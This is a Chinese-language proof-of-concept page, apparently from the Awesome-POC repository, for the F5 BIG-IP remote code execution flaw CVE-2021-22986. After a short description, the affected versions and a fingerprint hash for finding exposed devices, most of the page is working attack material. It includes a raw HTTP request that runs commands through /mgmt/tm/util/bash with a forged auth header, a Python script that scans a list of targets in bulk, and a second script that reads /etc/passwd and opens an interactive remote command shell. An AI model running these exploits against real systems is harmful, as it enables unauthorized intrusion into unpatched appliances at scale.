mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
205 lines
6.1 KiB
Markdown
205 lines
6.1 KiB
Markdown
# F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986
|
||
|
||
## 漏洞描述
|
||
|
||
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。
|
||
|
||
近日,F5发布了F5 BIG-IQ/F5 BIG-IP 代码执行,代码执行的风险声明,F5安全公告更新了BIG-IP,BIG-IQ中的多个严重漏洞。建议广大用户及时将f5 big-iq,f5 big-ip升级到最新版本,避免遭到攻击。
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
F5 BIG-IP 16.x: 16.1.0.3
|
||
F5 BIG-IP 15.x: 15.1.0.4
|
||
F5 BIG-IP 14.x: 14.1.2.6
|
||
F5 BIG-IP 13.x: 13.1.3.4
|
||
F5 BIG-IP 12.x: 12.1.5.2
|
||
F5 BIG-IP 11.x: 11.6.5.2
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
icon_hash="-335242539"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
|
||
|
||
访问登录页面如下
|
||
|
||
|
||
|
||

|
||
|
||
|
||
|
||
发送请求包
|
||
|
||
|
||
|
||
```plain
|
||
POST /mgmt/tm/util/bash HTTP/1.1
|
||
Host: xxx.xxx.xxx.xxx:8443
|
||
Connection: close
|
||
Content-Length: 41
|
||
Cache-Control: max-age=0
|
||
Authorization: Basic YWRtaW46QVNhc1M=
|
||
X-F5-Auth-Token:
|
||
Upgrade-Insecure-Requests: 1
|
||
Content-Type: application/json
|
||
|
||
{"command":"run","utilCmdArgs":"-c id"}
|
||
```
|
||
|
||
|
||
|
||

|
||
|
||
|
||
|
||
成功执行命令 id
|
||
|
||
|
||
|
||
## 漏洞POC
|
||
|
||
|
||
|
||
**批量测试**
|
||
|
||
|
||
|
||
```python
|
||
import requests
|
||
import sys
|
||
import random
|
||
import re
|
||
import json
|
||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||
|
||
def title():
|
||
print('+------------------------------------------')
|
||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||
print('+ \033[34mVersion: F5 BIG-IP \033[0m')
|
||
print('+ \033[36m使用格式: python3 poc.py \033[0m')
|
||
print('+ \033[36mFile >>> ip.txt \033[0m')
|
||
print('+------------------------------------------')
|
||
|
||
def POC_1(target_url):
|
||
vuln_url = target_url + "/mgmt/tm/util/bash"
|
||
headers = {
|
||
"Authorization": "Basic YWRtaW46QVNhc1M=",
|
||
"X-F5-Auth-Token": "",
|
||
"Content-Type": "application/json"
|
||
}
|
||
data = '{"command":"run","utilCmdArgs":"-c id"}'
|
||
try:
|
||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=2)
|
||
if "commandResult" in response.text and response.status_code == 200:
|
||
print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
|
||
else:
|
||
print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
|
||
except Exception as e:
|
||
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))
|
||
|
||
def Scan(file_name):
|
||
with open(file_name, "r", encoding='utf8') as scan_url:
|
||
for url in scan_url:
|
||
if url[:4] != "http":
|
||
url = "https://" + url
|
||
url = url.strip('\n')
|
||
try:
|
||
POC_1(url)
|
||
|
||
except Exception as e:
|
||
print("\033[31m[x] 请求报错 \033[0m".format(e))
|
||
continue
|
||
|
||
if __name__ == '__main__':
|
||
title()
|
||
file_name = str(input("\033[35mPlease input Attack File\nFile >>> \033[0m"))
|
||
Scan(file_name)
|
||
```
|
||
|
||
|
||
|
||

|
||
|
||
|
||
|
||
**命令执行**
|
||
|
||
|
||
|
||
```python
|
||
import requests
|
||
import sys
|
||
import random
|
||
import re
|
||
import base64
|
||
import time
|
||
import json
|
||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||
|
||
def title():
|
||
print('+------------------------------------------')
|
||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||
print('+ \033[34mVersion: F5 BIG-IP \033[0m')
|
||
print('+ \033[36m使用格式: python3 poc.py \033[0m')
|
||
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
|
||
print('+------------------------------------------')
|
||
|
||
def POC_1(target_url):
|
||
vuln_url = target_url + "/mgmt/tm/util/bash"
|
||
headers = {
|
||
"Authorization": "Basic YWRtaW46QVNhc1M=",
|
||
"X-F5-Auth-Token": "",
|
||
"Content-Type": "application/json"
|
||
}
|
||
data = '''{"command":"run","utilCmdArgs":"-c 'cat /etc/passwd'"}'''
|
||
try:
|
||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
|
||
if 'root' in response.text and response.status_code == 200:
|
||
print("\033[32m[o] 目标 {}存在漏洞,响应为:{} \033[0m".format(target_url, json.loads(response.text)["commandResult"]))
|
||
while True:
|
||
Cmd = str(input("\033[35mCmd >>> \033[0m"))
|
||
POC_2(target_url, Cmd)
|
||
else:
|
||
print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
|
||
except Exception as e:
|
||
print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url), e)
|
||
|
||
def POC_2(target_url, Cmd):
|
||
vuln_url = target_url + "/mgmt/tm/util/bash"
|
||
headers = {
|
||
"Authorization": "Basic YWRtaW46QVNhc1M=",
|
||
"X-F5-Auth-Token": "",
|
||
"Content-Type": "application/json"
|
||
}
|
||
Cmd = "'" + Cmd + "'"
|
||
data = '{"command":"run","utilCmdArgs":"-c %s"}' % Cmd
|
||
try:
|
||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
|
||
print("\033[32m{} \033[0m".format(json.loads(response.text)["commandResult"]))
|
||
except Exception as e:
|
||
print("\033[31m[x] 命令执行失败 \033[0m".format(target_url), e)
|
||
|
||
|
||
if __name__ == '__main__':
|
||
title()
|
||
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
|
||
POC_1(target_url)
|
||
```
|
||
|
||
|
||
|
||
 |